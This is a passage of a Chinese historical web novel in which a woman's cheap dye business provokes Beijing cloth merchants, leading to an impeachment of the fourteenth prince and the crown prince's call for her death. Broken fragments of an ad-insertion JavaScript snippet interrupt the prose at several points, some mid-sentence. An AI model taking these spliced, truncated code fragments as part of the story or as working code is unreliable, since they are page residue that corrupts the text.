这个定价不可能会改变,给他们透漏出可以出售染料的事情,看看他们有没有合作的意思表示。” “您放心,我一定会跟他们说清楚。” 顺子得了吩咐,心里很是激动。 这才多久? 他居然都能去赴约京城的行会了,这可真是之前想都不敢想的事情。 要知道,行会可不是什么阿猫阿狗都能进的地方。 那里面的水啊,深着呢! 但这次,他要当那根搅动深水的金箍棒。 三日后顺子如约前往飘香楼,谈事情嘛,饭桌就是谈判桌。 “丁掌柜,久仰久仰!” 这些布店老板早已在此恭候多时,见到顺子这个比自己年轻的掌柜都笑眯眯的寒暄着,一点儿架子都没摆。 顺子虽然得意但并没有仗势凌人,而是表现的比较谦逊。 来之前丁炳先再三叮嘱,让他要把姿态摆的低些。 落座之后顺子先是端起酒杯,自罚了三杯,给足了这些人面子。 “各位前辈们都是行会中的翘楚,今日能有机会当面请教实在是我丁炳顺的福气。 原本该是我们千色布店前去行会拜访请教,说起来也算是我们的错,我代表我们东家自罚三杯!” 说着他连干三杯,然后才坐下。 “丁掌柜,豪爽啊!” “是啊,难得见如此爽利的人儿,怪不得能把生意做的如此好!” 其他人一见他的做派,心里还是很满意的,至少看起来不是那种盛气凌人之辈。 否则,还是真是不好办。 因为没有商贾愿意去跟一位阿哥直接闹翻,就算是被逼无奈、迫不得已也不可能直接对上。 真要对上,肯定得去找个更大的靠山。 “哪里哪里。” 顺子笑着寒暄了一句,没有再多说什么,而是等着这些人主动开口说重点。 不过没有人一开始就先谈事情,都是先暖场,这就是所谓的酒桌文化。 反正这种场合沈姝是不喜欢,所以只能让顺子这个代理人代为应酬。 遵循沈姝的意思,顺子对于这些人明里暗里的打探,并没有隐瞒。 比如有人问道:“听说你们的东家是十四爷府上的人?” 顺子就直接回答说:“我们东家姓沈名姝,乃女子。不过并不是十四阿哥府的人,只是与十四阿哥有些交情。” 不过这话说的容易引人遐想,与十四阿哥有交情的女子,那是什么关系? 其实顺子也弄不明白沈姝与十四阿哥之间的关系,但那都是贵人们的事情,他一个管事的才不会去打听那么多。 沈姝是怎么交代的,他就怎么说。 而沈姝确实也没办法,虽然她认为自己不是十四阿哥的女人。 但外人怎么认为,她也管不了。 酒席过半时,这些人终于委婉的问出了真正关心的问题。 “丁老弟,你们店里的东西卖的如此低价,这样还能赚到钱吗?” 这话的意思就是不能赚钱,就赶紧收了吧! 然而不曾想顺子却笑着点头,语气还很理所当然,“当然赚钱呀,不赚钱我们怎么会这么做?咱们生意人不就是为了求财嘛!” “啊、啊?” 听了这些,满桌的同行都以为自己听错了,这是完全不照路子上来啊! 这人抿着嘴把话挑明,“丁老弟,咱们明人不说暗话。就拿蓝布来说,你们卖十三文一尺,这也能赚钱?” “各位掌柜,请听小弟一言。” 六子见状站起身来,先是拱手作揖,而后正色道:“或许你们认为我方才所言皆虚,以为这些天我们千色布店是在赔钱赚吆喝,目的是为了打响名头,但并不是! 实话实话,我们是真赚钱,而且赚的不比你们少……” “不可能!” 当即有人直接打断了顺子的话,“这怎么可能?大家的坯布本钱都是大差不差的,染布的本钱也不可能错这么多!” “我说的是真的!” 顺子不得不高声道:“这种事情我骗你们作甚?毕竟我们只要长年累月的以此价格售卖,到时候你们自然就知道是真是假! 之所以现在说出来,是因为我们东家不想直接让大家都没了营生。” 听了这话,在场的同行们将信将疑。 如果 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 真是这样的话,那……那简直是不敢想象啊! 在场的都是生意场的老手,都知道这意味着什么! 当即有人脸色大变,急切的齐声追问:“你们是怎么做到的?” 若是真的,那这才是问题的关键。 做生意的都想自己是独一份,但又怕同行是独一份。 终于说到了染料的事情,顺子回想了一番才解释道:“我们东家能制作更低廉的染料,而且制作方法完全不同于你们,所以才能低价获利。” 至于这染料是怎么制作出来的,别说是为了保密不能说出来,就算是让他说,也说不出来个所以然。 当然了,这不重要,重要的是接下来要说的话。 “不过大家都是同行,我们东家的意思是如果你们愿意的话,可以从我们这里购入染料。” 顺子说完便停了下来,想看看这些人会怎么表态。 然而听到这种惊天炸雷,没有人会立刻表态。他们全都面面相觑,怎么都没有想到居然还能有人可以把成本做到如此之低! 这么说来,并不是他们原先设想的那般,低价售卖只是一是为之。 断人财路犹如杀人父母,现在这已经变成了要命的事情! 这下谁都没有心思再应酬下去,随即便有人连表面都维系不住了,直接绷着脸起身告辞。 “丁掌柜的,此事事关重大,我们需要回去好好思量一番方可。” 顺子表示理解,陪着笑说道:“那是自然,咱们后续再谈。” 顷刻间,满桌子的人都走光了,只剩下没喝完的酒水,没吃完的各色荤素。 这些掌柜们从飘香楼出来后又换了一个地方,现在他们真的需要好好商量一番到底应该怎么办。 刚一进屋还没坐下,就有人忍不住急道:“咱们怎么办?” 其中一年纪大点儿的掌柜稳住心神说道:“勿要惊慌,咱们还是得先查查这小子所说究竟是真是假?” 这种事的真假实在是太好辨别了,还用去查?人家要是能一直这么低价的售卖,那必然就是真的! 更多掌柜想的是,“如果是真的怎么办?那可是十四阿哥的产业,怎么硬来? 可如果真要从那个什么沈姝那里购入染料,岂不是以后大家的生死都掌握在她手中?” “诸位、诸位,静静、静静,听我说。” 行会的长者用力的敲了敲桌子之后才说道:“我与大家一样,都忧心于此,可咱们不能自乱阵脚!眼下之急,是要弄清楚这种染料的制取成本是否果真低廉至此? 此乃其一。 其二是这种技艺咱们是否可以得到? 只有先把这些事情搞清楚才能去谈接下来应该怎么做!” 顿了顿,他接着继续道:“还有一事,我想你们是急晕了,一时之间没有想到。 你们想想,若是千色布店能染制棉布,难道就不能染制绫罗绸缎? 咱们这些人不过是人言微轻的小小棉麻商户,可这事难道就与那些家底丰厚的大商户无关吗? 不仅如此,若是京外其他商会得知此事,他们又将作何感想?” 这一番话,可谓是醍醐灌顶,一下子就让这些商户们找到了主心骨。 是啊,他们只是首当其冲的受害者。 此事牵扯众多,不能只有他们受损,面对低价染料,大家的境遇都一样! 由此,顺子的话可谓是一石入水,激起千层浪…… 30.第 30 章 从飘香楼回来后,顺子把具体情况都汇报给了沈姝。 对于这次顺子赴宴的结果,沈姝早就有所预料。 这其实就是一种博弈,以她一人之力,背靠十四阿哥在与全大清国的所有布料商在搏一个结果出来。 博弈哪里能这么快出结果,怎么也得挣扎一番。没有人愿意乖乖的受人摆布,她不愿意,那些人也不会轻易愿意! 沈姝甚至都可以猜测得到,这些人现在肯定在想方设法的想要打探出来自己染料的秘密。 不过随便他们怎么打探,她相信他们会铩羽而归。 之前的凌普也是这么想的,结果呢? 沈姝想的是只要自己手握染料,仰仗十四阿哥的保护,就足够资格坐在谈判桌上。 也只有这样,双方才具备谈判的前提条件。否则,那些大商贾们怎么可能会搭理她这种无权无势的小人物? 若不是背靠十四阿哥这棵通天大树,沈姝绝对相信那些人会强行抢夺她的染料。 所以她并没有停下千色布店的买卖,而是继续正常营业。 除此之外,沈姝没有想着要仗势欺人,也以为这些商贾在认清现实之后会发现双方合作才是最好的结果,甚至还为接下来的合作提供了互惠的建议。 然而事情却并非如她所预想的那般,沈姝低估了这些人的贪婪。 这些贪婪中,夹杂了更多的利益纷争。 很多事情只要用心又愿意花钱打听,总能知道的更多。 没几天,这些布店的掌柜们就已经知道凌普的事情,当然也知道了紫色染料一事。 不仅如此,他们还知道沈姝的染坊所用的染料均出自于十四阿哥的庄子上。 他们甚至花钱买通了十四阿哥庄子上的几位仆从,由此得知沈姝确实是在庄子上制作的染料,并且还知道制作染料需要用到石炭等原料…… 就连沈姝染坊里的染布工序,他们也花钱买通了一些人,打探了出来,就是没有能拿到染料。 然而并没有什么用,染料的制作完全就是匪夷所思! 粗略的原料都是什么,他们都已经知道,可谁知道怎么用这些东西制作出如此众多的染料? 被买通的仆从们也不知道,怎么反复的问都无法得到答案。 任凭他们怎么夜以继日的试验,都无法用这些打听到的原料制作出任何能用的染料。 无法突破的技术壁垒,让他们意识到事情的不妙。 然而此事牵涉实在过多,做决定没有那么快。对于如何对待沈姝,大家的意见并不统一。 即便是有人眼热于沈姝布店的生意想要合作购入染料,可也没有人敢单独开这个头去跟她谈合作。 因为这是得罪人的事情! 现在大家还没有协商好,若是有人私自去购入染料,到时候染出更廉价的布料,那就会变成第二个吃独食的千色布店。 然而这人若是没有十四阿哥这样的靠山,结果是可想而知。 但说实话,又有几个人能有这样的靠山? 故而自顺子赴约飘香楼之后,又过了近一个月,都到了十月底,京城的棉布商们都没有再主动联系合作事宜。 沈姝不得不感慨,这些人可真能忍。 这两个月时间内,他们的日子绝对不可能好过。 她都想不明白这些人到底想怎样,难不成还想着再过段时间就能破解出来自己的染料合成工艺? 那简直是痴心妄想! 而且越拖延,这些布店的损失越大。 毕竟对于商家来说,卖不出货物,不赚钱就等于亏钱。 与此同时,两个月的时间,千色布店的营业额已经高达八千多两。 即便是现在,虽然生意已经没有最开始时能清空货物的盛况,但每天依然有几十两不等的进账。 沈姝猜测京城及附近的不少百姓怕是已经抢购了未来至少一年所需的棉布,仅仅就这两个月时间,扣除坯布成本之后,布店的利润已有两三千两。 染料成本的细账就不用算了,肯定是赚钱的,而是赚的还很多。 现在她已经有本钱去试验更多,比如多上几种不同颜色的棉布来试探一下市场反应,再比如可以考虑上绸缎了。 既然如此,那沈姝便不再客气,不仅火速新开了一家绸缎店铺,还新增了更多棉布的颜色。 京城的棉布商户门原本正在劝说丝绸大户们一起商量出个对策来,而那些丝绸商们都还在一边观望,一边设法破解沈姝的染料制备方法。 丝绸商们并不着急是因为仅仅只是两文钱的价差对他们的影响其实并不大,两文钱最多是影响利润的多少,但购买丝绸的顾客大都不差这点儿钱。 然而丝绸商们也想的太简单了,沈姝已经预判到了这些。 千色绸缎铺开业的当天,可谓是引人注目。京城里大大小小的同行们都派人前去打探消息了,甚至还有掌柜的亲自过去现场观望。 当看到那些异常炫目的色彩时,所有人心里都是一“咯噔”。 这颜色,远比他们的要多、要鲜艳,这里面的很多颜色他们根本就染不出来! 毫无意外,丝绸的价钱如同棉布一样,统统都比他们店里的要便宜些。 价钱的问题不致命,致命的是丝绸的颜色远比之前千色布店棉布的颜色多的多,这可真是要断人活路啊! 一时间,京城里的大商户们决定不能再坐以待毙。 若是再商讨不出个对策,任由沈姝这女人继续如此嚣张的成长起来,他们这生意以后必定是彻底没法做了。 而沈姝觉得自己可以继续等下去,还估计这些人应该不会再忍太久。 谁会放着有钱不赚,眼睁睁的看着同行赚钱? 其实千色绸缎铺子开张后,生意比不得棉布店。这很正常,棉布才是寻常百姓的生活必需品,而绫罗绸缎不是。 丝绸属于奢侈品,众所周知奢侈品能否畅销不取决于价格的微弱波动,而取决于产品的稀缺性、独特性以及高端定位。 高端就算了,沈姝可买不起什么高级料子,能打的只有颜色。 主打一个其他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 地方,都没有这种颜色。 比如各种深浅不同的绿色,就有十种。 整个店里的所有色彩加起来,足足有五六十种之多。 每种颜色都只备了三五匹的货,就这都花了七八百两银子。 其实绸缎铺子最主要的功能是色彩展示,没指望着能卖出去多少。 沈姝想着只要展示一番,想必就能给那些商人们更多的压力,促使他们能尽快联系合作事宜。 不过没有等来行会再次邀请的帖子,却是意外收到了四福晋的帖子。 送贴的嬷嬷说三日后,就是十月三十这天是四阿哥的生辰,所以邀请她过府赴宴。 生日宴不都是邀请亲朋好友的吗? 收到这份邀请,沈姝多少有些意外,她与四阿哥算是朋友? 不过帖子收了,不仅得去还要备份生日礼物。对于四阿哥这个人,沈姝觉得有机会的话还是需要多了解一番,不然怎么完成任务呢? 生日礼物的事情,她没有多费心去打听应该送什么,而是懒省的事根据后世的习俗让庄子里的厨娘帮忙做了一个生日蛋糕。 蛋糕做的算不上精致,更精致的也做不出来。 蛋糕的中间是一坨硕大的奶油寿桃,散发着浓烈的二十世纪八十年代的气息。 这种土里土气的蛋糕造型,估计放在玻璃柜中路过的年轻人都不会多看一眼。 或许那种上了年纪的老年人会喜欢? 虽然卖相不太好,但沈姝觉得凑合能用,好过空手不是? “您要去四爷府上?可是十四爷不去……” 六子手捧装着蛋糕的大食盒,脸色有些为难。其实每年四阿哥府都会送来请帖,只是十四阿哥从来都不过去,只是派人去送份礼品。 现在沈姝自己要去,六子觉得十四阿哥应该不会高兴。 “十四爷今日是有事过不去吗?” 沈姝觉得十四阿哥才是那个应该去赴宴的人,说实话她只知道这两兄弟关系不太好,但不知道是什么原因。 “应该是有事吧……” 作为奴才,六子也不能说十四阿哥该不该去,所以随口为他找了个理由 。 “那咱们走吧。” 说起来沈姝也有段时间没有见过十四阿哥了,不过她从不过问他在哪里,在做什么。 十四阿哥有家室,又是皇子,总归是有不少事情要做,她才不会关心这些。 这样也挺好的,要是十四阿哥天天的在自己跟前晃悠着,沈姝反倒是不知道应该怎么拒绝才好。 见沈姝抬腿就走,六子只得跟上,他就知道自己劝不住。 谁让十四阿哥这个主子只吩咐让他听话,可没让他以下犯上。 不过六子是真觉得沈姝过于有恃无恐,做什么事情都是这样,根本就不顾及十四阿哥的感受。 府里的福晋、侧福晋、侍妾们,哪个不是心心念念的都围着十四阿哥嘘寒问暖的? 可偏偏十四阿哥又纵着她,什么都由着她。所以十四阿哥要是怪罪起来,那他可算是冤枉啊! 31.第 31 章 到了四阿哥府上后沈姝发现,来祝寿的外人只有她与十三阿哥夫妻二人。 这并不是她第一次来这里,不过赴宴倒是头一次。 之前过来都是在书房见的四阿哥,除此之外,就只见过四福晋。 这次是家宴,终于可以见到四阿哥的妻妾们了。 沈姝知道其中两个有名的,一个是年羹尧的妹妹年氏,另外一个是乾隆的生母钮祜禄氏。 可是四福晋就介绍了四个女人,一位是侧福晋李氏,另外三个都是庶福晋或侍妾,分别是宋氏、耿氏、钮祜禄氏,这其中并没有年氏。 沈姝多看了钮祜禄氏一眼,同时在感慨这些阿哥们的女人真不少。 十四阿哥府中有多少女人她不知道,想必也不会只有十四福晋一个。 而这些女人中,除了福晋和侧福晋,其他人都是站着待客的。 相比之下,至少她这个客人还能坐着…… 若是成了十四阿哥的女人,沈姝毫不怀疑自己应该也是站在这伺候女主人的那种级别。 介绍过府中的女人,四福晋又让婢女唤来侄女当面亲自给沈姝道谢。 “文淑,这位沈小姐就姨母跟你说过的救命恩人。” 听四福晋这么说,小姑娘文淑踩着花盆底走过来想要行大礼,沈姝连忙制止了。 在场所有女人,包括这位小女孩都穿着花盆底,真是看着就累人,她还担心小朋友不小心摔倒呢! 还没等文淑开口,沈姝便道:“不用谢,玩耍去吧!” 文淑仰着头,面带好奇的看着沈姝,“要谢的,要不是您我就没有办法再去玩耍了呢!” 说完之后又添了一句,“您好好看呀,比园子里最漂亮的那朵花还好看……” 这小姑娘有点儿讨喜,沈姝笑着也夸赞了一句,“谢谢夸奖,你像漂亮的花苞一样,也很好看。” “真的嘛?那也谢谢您的夸赞。” 文淑笑的很是开心。 一旁的四福晋也笑了笑,觉得沈姝也像个孩子似的。 十三阿哥的福晋则是暗中打量着沈姝,她很喜欢前段时间送的那些料子。 而且十三阿哥还交代说以后要是买料子,可以去沈姝的店铺里买,所以得趁机问问情况。 “沈小姐,谢谢你之前送的礼物。 听十三爷说你开了卖料子的店铺,不知道是在哪里,可有什么名号?” 其实刚进来的时候沈姝就发现十三福晋身上穿的料子,应该就是自己送的其中一种颜色。 听十三福晋这么问,沈姝笑道:“不客气,您喜欢就好。民女那家店名为千色绸缎铺,就在正阳门西边。” 听到铺子的事情,四福晋便多问了一句,“你铺子的生意如何?” “还行。” 沈姝很是谦虚,没有多说。 四福晋还想多说几句,顾及到十三福晋这个客人也在,便没有再提,她还是想劝沈姝要三思。 几个人又闲聊了一会儿,便到了用餐入席时间。 沈姝觉得这次的宴会,比之前在八阿哥府的那次要舒心些。 四阿哥的寿宴,比较简单,就只摆了三桌。 四阿哥与十三阿哥两个人一桌,沈姝与四福晋她们一桌,孩童一桌。 隔着桌子,四阿哥看到了沈姝。 她能过来,他很高兴。 他的生辰宴一向冷清,往年也只有十三阿哥会过来。 让福晋给她发请帖也只是试试,但她真的来了! 由此可以确定一件事,那就是沈姝与十四阿哥之间的关系,应该不是之前他想的那样。 否则不可能十四阿哥不来,而她独自过来。 正常情况下,一向都是夫唱妇随。 可她没有,这其中的缘故值得深思。 四阿哥知道自己的心思,只是善于隐藏而不愿轻易表达出来。 对于沈姝,他并不想克制自己暗藏的兴趣。因为她的出现,让他对十四阿哥这个一母同胞的亲弟弟更加的意难平。 本是一母所出,可十四阿哥不仅独得额娘的宠溺,还受皇阿玛的喜爱。 可他呢? 夜深人静时,每每想到这些,四阿哥都难以入眠。 现在是每见一次沈姝,四阿哥都觉得自己越发的难以克制对十四阿哥的嫉妒之情。 不过今日,他内心深处的阴郁散去了些许。 宴席上,沈姝的贺礼被呈了上来,当然是呈去四阿哥那桌。 因为六子送的时候就已经按沈姝的嘱咐转告四阿哥府的人,这份贺礼不经放,要及时食用。 所以四福晋才会如此安排,而且这东西她还看过了,上面一只硕大的寿桃,看着很是吉祥也很别致。 “这是何物?” 四阿哥看着桌上造型陌生的蛋糕随口问了一句。 婢女回答道:“爷,这是沈小姐送的贺礼,说是叫生辰蛋糕。” 沈姝送的? 四阿哥仔细的看了又看,怪不得这种奇怪的东西以前从未见过。 这份贺礼倒是比之前那几包点心要用心多了,虽然点心他也没少吃。 “这个……要怎么吃?” “说是要切开分食。” “那拿下给大家都分一分。” 婢女把蛋糕端下去后费了好大劲儿才按人数分成了好几盘,这玩意看着好看但软塌塌的,一切就变了形状,她还怕四阿哥会责怪。 虽然被切开的蛋糕看起来七零八落、形状全无,四阿哥确实因此感到不悦,觉得婢女粗手笨脚的弄坏了贺礼。 但他不会当面训斥,因为怕被沈姝看到了误会,以为自己不喜欢这份礼物。 他甚至不动声色的往她的方向又看了一眼,想知道礼物被弄成这样她会不会生气? 沈姝当然不可能会因此而生气,再好看的蛋糕一被切开就形象全无。 她感到麻烦的是没有配备餐叉,用筷子吃起来有点儿奇怪。 不过这是她的问题,懒省事不想麻烦没有特意的准备叉子。 但万物皆可夹,筷子一样能用。 作为女主人的四福晋率先夹了一筷子奶油蛋糕,虽然这东西看起来很奇怪,也不知道会不会有什么奇怪的味道。 但这是客人送的礼物,而且沈姝这个客人正坐在旁边,为表谢意四福晋觉得自己要做出表率,怎么也得尝尝才行。 “咦,有奶味?” 尝了一小口之后,四福晋面带疑惑,是奶味没错。 可这口感也太软腻了,几乎是入口即化,还有丝丝甜味,味道居然还不错! 四福晋转而问向沈姝,“这是哪家铺子的糕点,如此做法很是新奇。” 看来这蛋糕还算是成功,沈姝笑着说道:“难得福晋不嫌弃,这是民女让厨娘做的。第一次做,有些粗陋。” 听这话音儿,应该是沈姝做的,四福晋随之便称赞了一句,“沈小姐真是心灵手巧。” “福晋过奖了。” 沈姝随之谦虚了一句,如此时刻都需要客套的场合其实她并不喜欢,容易消化不良。 但人情世故是生活和工作的一部分,不喜欢不代表不能做或者做不好。 沈姝一向分的清主次,知道自己在做什么。四福晋释放了善意,她自然不会无缘无故的冷脸以对,而是会做好表面工作。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 包括对十三福晋,也一样。 所有人,无论男女,只要不主动招惹她,沈姝的表现都比较谦和。 即便是十四福晋,如果不再找茬,沈姝都不会再计较之前的事情。 这次的宴会,因为没有人故意生事,也没有什么意外的插曲,所以从头到尾都还算融洽。 吃过饭后没多久,宴会就结束了。 沈姝很快告辞离开,四阿哥没有留她。 留人需要合适的借口,而他暂时没有。 十三阿哥与四阿哥一向要好,饭后两个人还说了一会儿话。 “她怎么自己过来了,十四弟呢?” 对于沈姝的独自赴宴,十三阿哥觉得有些奇怪。 四阿哥瞥了十三阿哥一眼,忍不住的想要点出一个事实,“沈姑娘与十四弟之间,她一日未进门,咱们也不好枉议。 毕竟女子名节重要,尤其是汉女。” 汉女的名节? 四阿哥居然还关心这个,十三阿哥觉得哪里怪怪的。 再说进不进门,沈姝都算是十四阿哥的女人吧! 这不是明摆着的事情? 十三阿哥这么问本来是想关心一下四阿哥与十四阿哥之间的关系,往年十四阿哥都不来。今年他的女人来了,这也算是缓和了关系。 结果四阿哥却这么说,给十三阿哥整的都不知道接下来该说什么好。 见十三阿哥不说话,四阿哥接着又解释了一番,“沈姑娘是你嫂子邀请的,之前她救过文淑,你嫂子很是感激。 至于十四弟,他一贯如此,我并不在意这些。” 听这话的意思,沈姝是自己过来的? 十三阿哥更觉得奇怪,“不应该吧!十四弟若是不允,她能来?” 对于十三阿哥依旧认为沈姝是十四阿哥的女人,四阿哥心中不悦,其他人也是如此认为的。 可他改变不了十三阿哥的想法,更改变不了其他人。 想到这里,四阿哥原本愉悦的心情就有些晴转多云,淡淡的说道:“我也希望是十四弟让她过来的。” 没有感受到四阿哥的不悦,一说到十四阿哥,十三阿哥就想继续说另外一件事。 “十四弟这次可帮了八哥不少忙,我听说因为刑部的案子,二哥很生气。 幸好四哥你受伤没参与,不然夹在中间又得难受。” 十三阿哥所说的难受,就是夹在太子与十四阿哥之间。 其实四阿哥根本不在乎这些,他故意弄伤了自己不参与并不是因此。 但他并不想袒露这些,而是露出一抹苦笑:“上次因为凌普的事情,二哥就对我有些误会,以为是我故意偏袒十四弟。 此番意外受伤,反倒是因祸得福了。” 凌普的事情十三阿哥当然知道,他当时也在场,觉得确实是凌普倒霉踢到了铁板。 太子会生气也正常,毕竟是因此失了凌普这个奴才。 可这不能怪四阿哥,难道要他故意污蔑陷害十四阿哥或者沈姝? 不过接连在内务府和刑部都吃了瘪,十三阿哥都能想象得出太子能有多气不过! 这一生气,肯定是要伺机报复,到时候兄弟之间又是要生事伤和气。 所以十三阿哥很是感慨,“二哥乃储君,兄弟之间为何不能好好相助,非要斗来斗去?” 四阿哥也跟着感慨了一句,“大约是谁都想得到皇阿玛的关注吧!” 只是兄弟们如此之多,皇阿玛的眼睛却只有一双,怕是看不过来…… 十三阿哥有想到太子会报复八阿哥和十四阿哥他们,但没有想到报复来的是如此之快,而且还是因沈姝而起。 32.第 32 章 染坊的生意已经步入正轨,加之又快到了冬日雪降时节,焦炭的售卖及煤气灯的生意都需要提上日程。 这些活当然需要雇人来做,但管事的人也需要另找。 丁炳先不能说话,到底是有些不方便。 顺子和栓子各有要管的事情,再分管其他也忙不过来。 若是找其他外面的管事,一是需要时间,二是信任度上也存在问题。 所以沈姝打算跟丁氏三兄弟谈谈此事,希望他们能再出些人。 而眼看沈姝的生意做的是热火朝天,白花花的银子流水似的赚。 顺子他们也知道现在她手里人手不足,需要再雇人。与其是便宜其他人,倒不如为自家人争取一番。 他们丁氏失去了祖传的染坊,现在族里很多人的日子也不会好过。 既然京城这边有更好的选择,何不回去试试看能不能说服族人? 所以兄弟三人商量之后,由顺子去跟沈姝提一提。 “可以,我本来还打算跟你们商量一下呢!” 沈姝一听直接应下,如果丁氏的人能过来些自然是最好。 后续还有其他事情要交代值得信任的人去做,比如调查噶礼一事。 现在钱是有了,就差人了! 见沈姝应下,顺子很高兴,“我和大哥离不开,那就让栓子回去一趟。 要是顺利的话,估么着最多一个月就能带些可用之人过来。” 沈姝点点头,很是大方的吩咐道:“从山西到京城路途遥远,常言道穷家富路,让栓子去账房支五百两银子,这一路上不要吝惜应有的花销。” “哪里能用得了这么多钱? 这可万万使不得!” 顺子一听连忙拒绝,之前救大哥丁炳先的钱他们还没还呢,哪里能再拿钱? 再说这一路上,五百两怎么可能用的完,一百两都算多! 沈姝笑着说道:“出门在外,多带些钱更安心。再说你们的家人背井离乡跋涉千里而来,来之后总得安置下来,这也需要钱。 若是这些还不够,只管跟我说,必不能让你们受委屈。” 如果钱能收买人心,她不会吝啬。 天下熙熙,皆为利来;天下攘攘,皆为利往。 人都是趋利性的,如果不能让跟着自己的人得到足够利益,又凭什么能让人心甘情愿的继续跟着自己呢? 沈姝自认没有那种传说中的个人魅力,单凭画饼就能让人死心塌地,她还是更喜欢拿钱砸。 这话可把顺子感动的差点儿热泪盈眶,如此的东家去哪里找啊! “您的大恩大德我们……” “好了,赶紧的去安排吧! 沈姝打断了顺子即将出口的感谢,她不在乎话好听与否,只关注于事情做的怎么样。 顺子重重的点点头,做出了承诺,“您放心,我们兄弟必不辜负您的信任!” 谁要是来了不好好干,他顺子绝对不顾及什么亲缘情面,狠狠的抽他丫的! 顺子把这事跟丁炳先他们说过之后,丁炳先直接在纸上写道:“回去之后勿要大肆宣扬,只挑些实诚能干的族人,看看谁愿意过来。 沈小姐是菩萨心肠,为人又大方,但咱们受人恩惠不能不知道分寸! 栓子你回去路上勿要耽搁,这边缺不得人。钱可以先拿上备用,但一应开销可不能大手大脚,当省则省!” 栓子拍着胸脯说道:“大哥你放心,咱做人不能恩将仇报。 谁干活踏实谁偷奸耍滑,我可是都知道!还有这花不完的钱,当然要还给沈小姐!” 说着他心里直接就有了打算,“大哥你看山子、康子、虎子、彪子他们一家怎么样? 我是想着这一走就是搬家,最好是让他们举家搬迁。” 丁炳先点点头,栓子挑的都是跟他们亲近又能干活的人家。 不亲近的,怕是任凭怎么劝说都不会轻易搬迁。 顺子想了想问道:“大哥,你看要不要跟咱们的亲家也通个气?” 举家搬迁毕竟是大事,此一别就是千里之外,怕是有生之年再难以相见。 丁炳先心中有些惆怅,也明白顺子的意思,于是点点头,随即又写下几行字。 “亲家们若是生计艰难,走之前多少留些帮衬钱。若是有人愿意跟着咱们一起,那些品性好的,也可以带上。” 兄弟三个商量好之后,栓子带着银子还有沈姝从十四阿哥那里借过来的几个随行侍从一并离京前往山西平遥。 借几个侍卫而已,对于沈姝的小小要求,只要是能轻易满足的,十四阿哥无不应允。 十四阿哥自诩除了沈姝一人,对于其他女人,他从未如此上心过。 甚至面对皇上的斥责,他都能一力顶住! 这日朝堂之上,发生了一件闻所未闻的大事。 都察院十五道御史皆上疏弹劾十四阿哥,乾清宫内齐刷刷的跪着几排御史。 每位御史手中都有一份奏折,并附带一份道内各省行会的血书控诉。 控诉十四阿哥纵容外室沈氏经商,逼的天下各地棉麻商、绸缎商们走投无路含血上告! 这就是沈姝等来的结果,她以为对方会上谈判桌,然而对方只想要她的命! “胤祯,你干的好事!” 弹劾的疏奏被勃然大怒的康熙摔的满地都是,沈氏他知道,之前十四阿哥为她求赐入籍。 十四阿哥见状连忙跪地辩解,“皇阿玛,他们这是在污蔑!” 沈姝做生意的事情他知道,也应允了。 弹劾一事,绝对是太子在背后推波助澜的小题大做! 沈姝不过是在京城开了两家店而已,怎么可能会惹上天下商贾? 而康熙一看十四阿哥这态度,愈加的生气,高升怒斥:“污蔑?这么多御史,难道就全都是来污蔑你一人的?你给朕说清楚,他们污蔑你什么了?” 盛怒中的康熙,别的臣子会惧怕,十四阿哥才不怕,那毕竟是他老子。 难道还能把他拖出去砍了不成? 他抬起头来振振有词,“儿臣承认,沈氏是开了两个铺子,但那又如何? 他们口口声声说是儿臣纵容沈氏仗势欺人,说来说去不过是在说沈氏的铺子售价过低损害了其他商贾的利益,难道售价低也算仗势欺人? 他们既然能联合上告,怎么就不能联合一起也卖个低价?” “混账东西!” 见十四阿哥一副不肯认错的模样,康熙抄起御案上的墨台砸了过去,“皇子不准经商的规矩你是忘得一干二净啊!” 被砸到跟前的墨台溅了一身墨汁儿,十四阿哥还是满脸的不服气。 皇子不准经商的规矩是有,但弹劾的是这个吗? 弹劾的是他仗势欺人,他怎么仗势欺人了? 见十四阿哥依然不肯承认错误,康熙气的大喊道:“来人,将他拖出去杖责二十!” 今天要是不把这不省心的儿子揍一顿,跟御史们都没办法交代。 同时,他对这些御史们也心生不满。 居然能惹得十五道御史一并弹劾,这一看就知道是非同寻常,应该就是故意针对十四阿哥的。 但他对沈氏这个始作俑者,更是不满! 十四阿哥被两个御前侍卫拖出去的时候还在大喊:“皇阿玛,儿臣不服,这分明就是污蔑,一定是有人想要借机报复儿臣!” 这话喊得直接喜提加倍的惩罚,康熙怒道:“混账东西!给朕杖责四十,狠狠的打!” 此事发生的过于突然,而且理由有些莫名。八阿哥很是摸不着头脑,但十四阿哥是跟他一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 伙的小弟,无论如何他也不能坐视不理。 所以不得不出列来为十四阿哥求情,“皇阿玛,十四弟只是觉得有些冤枉,求您莫要过于生气。” 八阿哥一出来,后面的九阿哥、十阿哥也跟着出面求情,“是啊皇阿玛,这四十棍要是打下去,十四弟怎么受得住啊!” 面对其他儿子们的求情,康熙转头看了一眼太子,“胤礽,你以为此事应如何处置?” 此事本来就是太子胤礽弄出来的,数日前有商贾使钱走通了他的门路想要弹劾十四阿哥,竟然还是因为沈姝经商一事。 这实乃是天赐良机,胤礽正对八阿哥他们恨的牙痒痒,对于沈姝这个名字印象深刻。 凌普是他的奶兄,而且还管着内务府。若不是因为这女人,凌普怎么会出事,八阿哥又怎会把手伸进内务府? 但胤礽知道即便是弹劾之下,最多也只能让十四阿哥挨顿打顶多再关一段时间的禁闭。 但沈姝就不一样了,她可不是皇阿玛的儿子! 于是他直接建言道:“回皇阿玛,此事乃因沈氏所起,想必十四弟也是耳根子软故而受其蛊惑,儿臣以为可将沈氏就地格杀以平民愤。” 这话一出,四阿哥脸色攸变,先是紧锁眉头而后又很快努力放松。 他不敢表现出太大的情绪波动,这样反而容易引人注目。 原本以为十四阿哥受了杖责,此事就可以揭过。却没有想到太子实在是过于狠毒,居然要杀沈姝…… 可要怎样才能劝住皇上? 此时平日里总是跟太子唱反调的大阿哥胤褆站出来嘲讽道:“十四弟纵使是有错,也已经挨了杖责。太子你居然要杀他的女人,可真是狠毒至极!” 